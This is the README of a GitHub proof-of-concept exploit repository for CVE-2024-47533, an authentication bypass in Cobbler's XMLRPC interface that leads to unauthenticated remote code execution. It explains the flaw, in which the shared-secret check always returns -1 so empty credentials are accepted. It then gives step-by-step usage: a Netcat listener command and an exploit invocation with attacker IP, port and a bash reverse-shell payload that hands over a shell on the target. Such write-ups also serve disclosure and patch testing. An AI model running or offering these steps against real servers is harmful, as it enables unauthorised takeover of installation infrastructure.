dollarboysushil/cve-2024-47533-cobbler-xmlrpc-authentication-bypass-rce-exploit-pocCVE-2024-47533 is a critical authentication bypass vulnerability in Cobbler (versions 3.0.0 to before 3.2.3 and 3.3.7) allowing unauthenticated remote code execution via the XMLRPC interface.
⚠️ Critical Remote Code Execution via Authentication Bypass in Cobbler
🛠️ PoC implementation by @dollarboysushil
Cobbler, a Linux installation server that enables rapid setup of network installation environments, has an authentication vulnerability in versions 3.0.0 up to (but not including) 3.2.3 and 3.3.7. The function utils.get_shared_secret() always returns -1, allowing anyone to connect to the Cobbler XML-RPC interface with an empty username ('') and password -1. This lets an attacker with network access gain full control of the Cobbler server. The vulnerability is fixed in versions 3.2.3 and 3.3.7.
The vulnerability is caused by improper handling of the shared secret in the utils.get_shared_secret() function, which always returns -1, effectively bypassing authentication. This lets any network user connect to Cobbler’s XMLRPC interface with empty credentials and execute arbitrary commands.
http://<target>:25151/ — Cobbler's XMLRPC API endpoint
The exploit script supports various reverse shell payloads including:
nc, nc2)Start a Netcat listener on your machine:
nc -lvnp 4444
Run the exploit script CVE-2024-47533-dbs.py.
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
Upon successful execution, the reverse shell will connect back to the listener, granting the attacker remote access to the server.
